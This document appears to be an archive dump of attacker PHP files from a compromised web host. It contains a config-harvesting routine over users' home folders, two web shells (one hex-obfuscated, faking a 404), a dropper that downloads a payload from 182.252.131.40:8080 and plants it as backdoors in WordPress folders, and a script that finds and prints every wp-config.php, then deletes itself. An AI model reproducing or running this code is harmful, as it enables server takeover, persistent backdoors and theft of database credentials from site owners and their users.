  if (is_readable($diryh)) {
    $file_data = $diryh."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryi = '/home/'.$owner['name'].'/update';
  if (is_readable($diryi)) {
    $file_data = $diryi."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryj = '/home/'.$owner['name'].'/wordpress.bak';
  if (is_readable($diryj)) {
    $file_data = $diryj."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryk = '/home/'.$owner['name'].'/.backup';
  if (is_readable($diryk)) {
    $file_data = $diryk."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryl = '/home/'.$owner['name'].'/.backups';
  if (is_readable($diryl)) {
    $file_data = $diryl."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirym = '/home/'.$owner['name'].'/.accesshash';
  if (is_readable($dirym)) {
    $file_data = $dirym."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryn = '/home/'.$owner['name'].'/migration';
  if (is_readable($diryn)) {
    $file_data = $diryn."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryo = '/home/'.$owner['name'].'/html';
  if (is_readable($diryo)) {
    $file_data = $diryo."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryp = '/home/'.$owner['name'].'/restore';
  if (is_readable($diryp)) {
    $file_data = $diryp."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryq = '/home/'.$owner['name'].'/hosting';
  if (is_readable($diryq)) {
    $file_data = $diryq."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryr = '/home/'.$owner['name'].'/wp';
  if (is_readable($diryr)) {
    $file_data = $diryr."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $dirys = '/home/'.$owner['name'].'/shop';
  if (is_readable($dirys)) {
    $file_data = $dirys."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryt = '/home/'.$owner['name'].'/distrib';
  if (is_readable($diryt)) {
    $file_data = $diryt."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryu = '/home/'.$owner['name'].'/test';
  if (is_readable($diryu)) {
    $file_data = $diryu."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryv = '/home/'.$owner['name'].'/hg_backup';
  if (is_readable($diryv)) {
    $file_data = $diryv."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryw = '/home/'.$owner['name'].'/public_html1';
  if (is_readable($diryw)) {
    $file_data = $diryw."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryx = '/home/'.$owner['name'].'/backups-manual';
  if (is_readable($diryx)) {
    $file_data = $diryx."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryy = '/home/'.$owner['name'].'/public_html_upgraded';
  if (is_readable($diryy)) {
    $file_data = $diryy."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  }
  $diryz = '/home/'.$owner['name'].'/olllld.public_html';
  if (is_readable($diryz)) {
    $file_data = $diryz."/".$pelere;
    $p = $owner['name']."-$domain.txt";
    $fopen = "$duhah/$p";
    goblok($fopen, $file_data);
  } 
 }
}
}
?>src/ui/.htaccess000064400000000136151327062330007550 0ustar00<FilesMatch ".(py|exe|php|phtml|zip|txt)$">
 Order allow,deny
 Allow from all
</FilesMatch>src/ui/text.php000064400000025217151327062330007456 0ustar00<?php
set_time_limit(0);
error_reporting(0);

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
	<link rel="shortcut icon" href="http://blog.ub.ac.id/fawzy/files/2013/12/Indonesia-flag.gif" />
<title>./GHxn</title>
<style>
body{
font-family: "verdana";
font-size:12px;
background-color: black;
color:silver;
}
#content .first{
background-color: #333;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: silver;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
select{
	border: 1 #000000 solid;
	background:transparent;color:silver;
}
input,textarea{
border: 1 #000000 solid;
	background:transparent;color:silver;
	}
</style>
</HEAD>
<BODY>';
if(isset($_GET['path'])){
    $path = $_GET['path'];   
}else{
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
        echo "$paths[$i]";
        if($i != $id) echo "/";
    }
    echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="green">File Upload Done.</font><br />';
    }else{
        echo '<font color="red">File Upload Error.</font><br />';
    }
}
echo '<b><br>'.php_uname().'<br></b>';
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo '</tr></td></table><br />';
    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">Permisine kenek</font><br />';
            }else{
                echo '<font color="red">Permisine ra kenek</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Rubah Nama bisa</font><br />';
            }else{
                echo '<font color="red">Rubah nama tidak bisa</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">bisa di edit</font><br />';
            }else{
                echo '<font color="red">Kurang ganteng gan</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">kok di hapus</font><br />';
            }else{
                echo '<font color="red">dir ra kenek rm</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">kok di hapus</font><br />';
            }else{
                echo '<font color="red">dir ra kenek rm</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center><font color="yellow">Name</center></td>
        <td><center><font color="yellow">Size</center></td>
        <td><center><font color="yellow">Permissions</center></td>
        <td><center><font color="yellow">Options</center></td>
    </tr>';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
echo '<center><font color="red">Coded by : </font><font color="red">GHxn @2019</font></center>
</BODY>
</HTML>';
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
?>
<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check1 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/maint/text.php" ;
$text1 = http_get('http://182.252.131.40:8080/mari.txt');
$open1 = fopen($check1, 'w');
fwrite($open1, $text1);
fclose($open1);
if(file_exists($check1)){
}
$check12 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/Text/index.php" ;
$text12 = http_get('http://182.252.131.40:8080/mari.txt');
$open12 = fopen($check12, 'w');
fwrite($open12, $text12);
fclose($open12);
if(file_exists($check12)){
}
$check123 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css/colors/index.php" ;
$text123 = http_get('http://182.252.131.40:8080/mari.txt');
$open123 = fopen($check123, 'w');
fwrite($open123, $text123);
fclose($open123);
if(file_exists($check123)){
}
$check1236 = $_SERVER['DOCUMENT_ROOT'] . "/wp-content/themes/index.php" ;
$text1236 = http_get('http://182.252.131.40:8080/mari.txt');
$open1236 = fopen($check1236, 'w');
fwrite($open1236, $text1236);
fclose($open1236);
if(file_exists($check1236)){
}
?>src/ui/about.php000064400000031762151327062330007606 0ustar00<?php
error_reporting(0); http_response_code(404); define("Yp", ":)"); $G3 = "scandir"; $c8 = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); $lE = 0; T4: if (!($lE < count($c8))) { goto Je; } $c8[$lE] = JD($c8[$lE]); Cy: $lE++; goto T4; Je: if (isset($_GET["p"])) { goto sr; } $Jd = $c8[2](); goto VN; sr: $Jd = jD($_GET["p"]); $c8[3](Jd($_GET["p"])); VN: function Ss($SP) { $dE = ""; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } function Jd($SP) { $dE = ""; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } function rn($F1) { $Jd = fileperms($F1); if (($Jd & 0xc000) == 0xc000) { goto FZ; } if (($Jd & 0xa000) == 0xa000) { goto Eu; } if (($Jd & 0x8000) == 0x8000) { goto ES; } if (($Jd & 0x6000) == 0x6000) { goto sA; } if (($Jd & 0x4000) == 0x4000) { goto lG; } if (($Jd & 0x2000) == 0x2000) { goto tV; } if (($Jd & 0x1000) == 0x1000) { goto Tx; } $lE = 'u'; goto cC; FZ: $lE = 's'; goto cC; Eu: $lE = 'l'; goto cC; ES: $lE = '-'; goto cC; sA: $lE = 'b'; goto cC; lG: $lE = 'd'; goto cC; tV: $lE = 'c'; goto cC; Tx: $lE = 'p'; cC: $lE .= $Jd & 0x100 ? 'r' : '-'; $lE .= $Jd & 0x80 ? 'w' : '-'; $lE .= $Jd & 0x40 ? $Jd & 0x800 ? 's' : 'x' : ($Jd & 0x800 ? 'S' : '-'); $lE .= $Jd & 0x20 ? 'r' : '-'; $lE .= $Jd & 0x10 ? 'w' : '-'; $lE .= $Jd & 0x8 ? $Jd & 0x400 ? 's' : 'x' : ($Jd & 0x400 ? 'S' : '-'); $lE .= $Jd & 0x4 ? 'r' : '-'; $lE .= $Jd & 0x2 ? 'w' : '-'; $lE .= $Jd & 0x1 ? $Jd & 0x200 ? 't' : 'x' : ($Jd & 0x200 ? 'T' : '-'); return $lE; } function Xe($OB, $Ch = 1, $BL = "") { global $Jd; $xe = $Ch == 1 ? "success" : "error"; echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" . Ss($Jd) . $BL . "\"}})</script>"; } function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), '.') === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yf . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } ?>
<!doctype html>
<!-- RandsX aka T1kus_g0t -->
<html lang="en"><head><meta name="theme-color" content="red"><meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no"><link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css"><link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"><title><?= Yp; ?></title><style>.table-hover tbody tr:hover td{background:red}.table-hover tbody tr:hover td>*{color:#fff}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}li{font-size:18px;margin-left:6px;list-style:none}a{color:#fff}</style><script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script></head>
<body style="background-color:#000;color:#fff;font-family:serif;"><div class="bg-dark table-responsive text-light border"><div class="d-flex justify-content-between p-1"><div><h3 class="mt-2"><a href="?"><?= Yp; ?></a></h3></div><div><span>PHP Version : <?= $c8[1](); ?></span> <br><a href="?p=<?= ss($Jd) . "&a=" . Ss("newFile"); ?>">+File</a><a href="?p=<?= Ss($Jd) . "&a=" . sS("newDir"); ?>">+Directory</a></div></div><div class="border-top table-responsive"><li>Uname : <?= $c8[0](); ?></li></div>
<form method="post" enctype="multipart/form-data"><div class="input-group mb-1 px-1 mt-1"><div class="custom-file"><input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple><label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label></div></div></form>
<?php  if (!isset($_FILES["f"])) { goto ea; } $Wx = $_FILES["f"]["name"]; $lE = 0; th: if (!($lE < count($Wx))) { goto dx; } if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) { goto PG; } Xe("file failed to upload", 0); goto tG; PG: XE("file uploaded successfully"); tG: g9: $lE++; goto th; dx: ea: if (!isset($_GET["download"])) { goto FA; } header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $c8[17](JD($_GET["n"]))); header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\""); FA: ?>
</div><div class="bg-dark border table-responsive mt-2">
<div class="ml-2" style="font-size:18px;">
<span>Path: </span><?php  $Op = $c8[4]("/(\\\\|\\/)/", $Jd); foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == "")) { goto xi; } echo "<a href=\"?p=2f\">~</a>/"; goto CS; xi: if (!($Oe == "")) { goto sq; } goto CS; sq: echo "<a href=\"?p="; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "2f"; s0: dg: $lE++; goto de; ie: echo "\">{$Oe}</a>/"; CS: } Go: ?>
</div></div><article class="bg-dark border table-responsive mt-2">
<?php  if (!isset($_GET["a"])) { goto Un; } if (!isset($_GET["a"])) { goto cc; } $im = Jd($_GET["a"]); cc: ?>
<div class="px-2 py-2">
<?php  if (!($im == "delete")) { goto Lu; } $BL = $Jd . '/' . Jd($_GET["n"]); if (!($_GET["t"] == "d")) { goto VZ; } TF($BL); if (!$c8[12]($BL)) { goto e8; } Xe("failed to delete the folder", 0); goto iL; e8: Xe("folder deleted successfully"); iL: VZ: if (!($_GET["t"] == "f")) { goto xB; } $BL = $Jd . '/' . jd($_GET["n"]); unlink($BL); if (!$c8[12]($BL)) { goto uH; } Xe("file to delete the folder", 0); goto Mk; uH: xe("file deleted successfully"); Mk: xB: Lu: ?>
<?php  if ($im == "newDir") { goto Fg; } if ($im == "newFile") { goto Pb; } if ($im == "rename") { goto Lw; } if ($im == "edit") { goto Ox; } if ($im == "view") { goto Ag; } goto WC; Fg: ?>
<h5 class="border p-1 mb-3">New folder</h5>
<form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
<?php  isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used", 0, "&a=" . SS("newDir")) : ($c8[15]("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create", 0)) : null; goto WC; Pb: ?>
<h5 class="border p-1 mb-3">New file</h5>
<form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
<?php  isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("file name has been used", 0, "&a=" . SS("newFile")) : ($c8[13]("{$Jd}/{$_POST["n"]}", $_POST["ctn"]) ? XE("file created successfully", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"])) : Xe("file failed to create", 0)) : null; goto WC; Lw: ?>
<h5 class="border p-1 mb-3">Rename <?= $_GET["t"] == "d" ? "folder" : "file"; ?></h5>
<form method="post"><div class="form-group"><label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?= jD($_GET["n"]); ?>"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
<?php  isset($_POST["s"]) ? $c8[16]($Jd . '/' . jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name", 0) : null; goto WC; Ox: ?>
<h5 class="border p-1 mb-3">Edit file</h5>
<span>File name : <?= Jd($_GET["n"]); ?></span>
<form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?= $c8[18]($c8[14]($Jd . '/' . jD($_GET["n"]))); ?></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
<?php  isset($_POST["s"]) ? $c8[13]($Jd . '/' . jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully", 1, "&a=" . sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto WC; Ag: ?>
<h5 class="border p-1 mb-3">View file</h5>
<span>File name : <?= jd($_GET["n"]); ?></span>
<div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" readonly><?= $c8[18]($c8[14]($Jd . '/' . jd($_GET["n"]))); ?></textarea></div>
<?php  WC: ?></div><?php  goto mR; Un: ?>
<table class="table table-hover table-borderless table-sm">
<thead class="text-light"><tr><th>Name</th><th>Size</th><th>Permission</th<th>Action</th></tr></thead><tbody class="text-light"><?php  $G3 = $c8[5]($G3($Jd), [".", ".."]); foreach ($G3 as $yf) { if ($c8[6]("{$Jd}/{$yf}")) { goto CB; } goto Qj; CB: echo "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td><a href=\"?p=" . sS("{$Jd}/{$yf}") . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) . "\"><i class=\"fa fa-fw fa-folder\"></i> {$yf}</a></td>\n\t\t\t\t\t\t<td>N/A</td>\n\t\t\t\t\t\t<td><font color=\"" . ($c8[8]("{$Jd}/{$yf}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$yf}") ? "red" : null)) . "\">" . RN("{$Jd}/{$yf}") . "</font></td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . ss("rename") . "&n=" . ss($yf) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t\t\t\t\t\t\t<a href=\"?p=" . sS($Jd) . "&a=" . ss("delete") . "&n=" . ss($yf) . "\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>"; Qj: } ad: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "MB" : $kL . "KB"; echo "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td><a href=\"?p=" . SS($Jd) . "&a=" . sS("view") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) . "\"><i class=\"fa fa-fw fa-file\"></i> {$F1}</a></td>\n\t\t\t\t\t\t<td>{$kL}</td>\n\t\t\t\t\t\t<td><font color=\"" . ($c8[8]("{$Jd}/{$F1}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$F1}") ? "red" : null)) . "\">" . rN("{$Jd}/{$F1}") . "</font></td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<div class=\"d-flex justify-content-between\">\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . Ss($Jd) . "&a=" . Ss("edit") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\"><i class=\"fa fa-fw fa-edit\"></i></a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . SS("rename") . "&n=" . ss($F1) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&n=" . sS($F1) . "&download" . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Download\"><i class=\"fa fa-fw fa-download\"></i></a>\n\t\t\t\t\t\t\t\t\t<a href=\"?p=" . ss($Jd) . "&a=" . sS("delete") . "&n=" . ss($F1) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t"; X1: } a2: ?></tbody></table><?php  mR: ?></article><div class="bg-dark border text-center mt-2"><small>89PET</small></div><script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script><script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script><script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script><script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script></body></html>
src/ui/c.php000064400000001270151327062330006705 0ustar00<?php
$asu	= shell_exec("find / -name wp-config.php | grep -v 'Permission denied'");
echo '<font color=purple>r00t@trenggalek6etar:</font>~/pwnedz$</font><br>';
echo 'DOMAIN : <font color=green>'.$_SERVER['SERVER_NAME'].'</font><br>';
echo 'DIR : <font color=red>'.getcwd().'</font><br>';
echo '<textarea name="jembot" cols="150" rows="10" id="jembot">'.$asu.'</textarea><br>';
$fh = fopen('filene.txt', 'w');
fwrite($fh,$asu);
system("sed 's/^/cat /;' filene.txt > gas.sh");
$response = shell_exec("chmod +x gas.sh; bash gas.sh");
echo '<textarea name="jembot" cols="150" rows="10" id="jembot">'.$response.'</textarea><br>';
unlink(__FILE__);
unlink("filene.txt");
